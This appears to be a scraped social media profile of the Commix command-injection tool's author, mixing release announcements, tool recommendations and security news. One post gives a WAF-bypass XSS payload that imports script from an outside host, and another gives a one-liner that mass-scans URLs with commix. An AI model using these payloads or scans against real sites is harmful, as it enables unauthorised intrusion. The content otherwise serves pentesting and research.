Anastasios S.

Team leader @Obrela_Labs.
Author of @commixproject.
Builder n' breaker seduced by the dark side.

[Anastasios S. @ancst]

FYI @commixproject is to command injections, what @sqlmap is to SQL injections! Feel free to #fork @github! https://t.co/TEe7hQjmxS #python

[International Cyber Digest @IntCyberDigest]

‼️🚨 BREAKING: GitHub has been compromised by TeamPCP. GitHub has confirmed the internal breach. A poisoned VS Code extension on an employee device exfiltrated ~3,800 internal repositories.

TeamPCP is already selling the data on a cybercrime forum.

[Commix Project @commixproject]

Commix recognized among the Top Pentesting Tools for 2025 by @ECCOUNCIL.

https://t.co/72QdFV85DH

Respect to everyone who keeps pushing it forward.

Big salut. 🫡

#pentesting
#infosec
#bugbounty
#cybersecurity
#opensource

[Commix Project @commixproject]

🚨 Heads up! Automated Commix crash reporting is officially deprecated.
All GitHub issues are now manual - review, tweak, and submit.

[Commix Project @commixproject]

Celebrating 11 years of @commixproject. 🎉
The anniversary release v4.1 is out: https://t.co/JHN18b6uHw
Huge thanks to everyone who contributed, tested, reported issues, and supported the project over the years. 🫡
#OpenSource #InfoSec #CTF #BugBounty #BugBountyTools #Pentesting

[Anastasios S. @ancst]

@cyber_razz Nice list - all bangers, but you ain't fully loaded 'til @commixproject 's in the arsenal.

[Commix Project @commixproject]

Improved handling of non-ASCII characters in URL path and query components. https://t.co/5ifAzIlbma #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting

[Trickest @trick3st]

Our top Vulnerability Scanning tools:

- ZAP: Web app vulnerabilities
- Nuclei: Precise scanning, no false positives
- Sqlmap: Automate SQL injection flaw detection
- Commix: Command injection vulnerabilities
- Nikto: Web server audits

Read the guide👇

https://t.co/1xas8OUwlB

[Abhinav Singwal @yogsec]

Automated Command Injection Scan on Live Parameterized URLs with Commix ☕👇

cat urls.txt | grep "?" | httpx -mc 200 -silent | while read url; do commix --url="$url" --batch; done

[Commix Project @commixproject]

🚨 Breaking News!

Usage wiki just dropped a major update. Clearer, deeper, and packed with examples to get you in, pop the shell, and keep moving.

https://t.co/VsNwZdNEZI

#bugbounty #infosec #rce #commandinjection #pentesting #hacking

[Help Net Security @helpnetsecurity]

Hottest cybersecurity open-source tools of the month: February 2025 - https://t.co/FKFacMTV5p - @Github @commixproject @ancst @netbird - #GitHub #OpenSource #CyberSecurity #CyberSecurityNews #SecurityNews #software

[Commix Project @commixproject]

Added a new tamper script "https://t.co/25mGnlK0HZ" that replaces each character in a user-supplied OS command with a random case https://t.co/R0S3AKvCkX #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting

[GitHubGPT @GitHubGPT]

📛 commix
🧠 Commix is an open-source penetration testing tool that automates the detection and exploitation of command injection vulnerabilities, requiring Python to run.
🛠️ @commixproject
💻 Python
⭐ 4930
🍴 849
🔗 https://t.co/S5wh8PiWqO

[Help Net Security @helpnetsecurity]

Commix: Open-source OS command injection exploitation tool - https://t.co/VgzV2psFV5 - @commixproject @ancst #OpenSource @Github #GitHub #CyberSecurity #netsec #security #InfoSecurity #ITsecurity #CyberSecurityNews #SecurityNews

[Guy Goldenberg @GuyGoldenberg]

🚨CVE ALERT!
While working with Nuclei @wiz_io, I discovered CVE-2024-43405, a vulnerability that bypasses template signature verification, potentially allowing malicious code execution on machines running Nuclei 🛡️

Here’s what you need to know: 🧵

[Commix Project @commixproject]

Today Is the Day! Ten years of @commixproject and the (anniversary) v4.0 is out: https://t.co/HWz1ZIbRII #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting

[KNOXSS @KN0X55]

Best #XSS Payload 💣 💥

#Bypass Akamai, Imperva and CloudFlare #WAF 🧱🔥

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

#BugBounty 🐞 #PenTesting 🔏

https://t.co/nNqODwAsry - It's like magic. ✨

[Orange Tsai 🍊 @orange_8361]

Thrilled to release my latest research on Apache HTTP Server, revealing several architectural issues! https://t.co/7ygwWXY0pd

Highlights include:
⚡ Escaping from DocumentRoot to System Root
⚡ Bypassing built-in ACL/Auth with just a '?'
⚡ Turning XSS into RCE with legacy code from 1996

[Intigriti @intigriti]

Want to scan for command injection vulnerabilities on auto-pilot? 😎️👇️

Commix is an open-source command injection scanner written in python to help you scan for these bugs easily! 🤑

Check it out! 👇️
https://t.co/rRhWeb6KkL

[Ninad Mishra @NinadMishra5]

Want to scan for command injection vulnerabilities on auto-pilot? 😎️👇️

Commix is an open-source command injection scanner written in python to help you scan for these bugs easily!

https://t.co/4TCEvF75TG

#bugbountytips #bugbounty

[Orange Tsai 🍊 @orange_8361]

PHP just fixed one of my RCE vulnerabilities, which affects XAMPP by default. Check to see if you are affected and update now! 🔥
https://t.co/EQdzNTihOm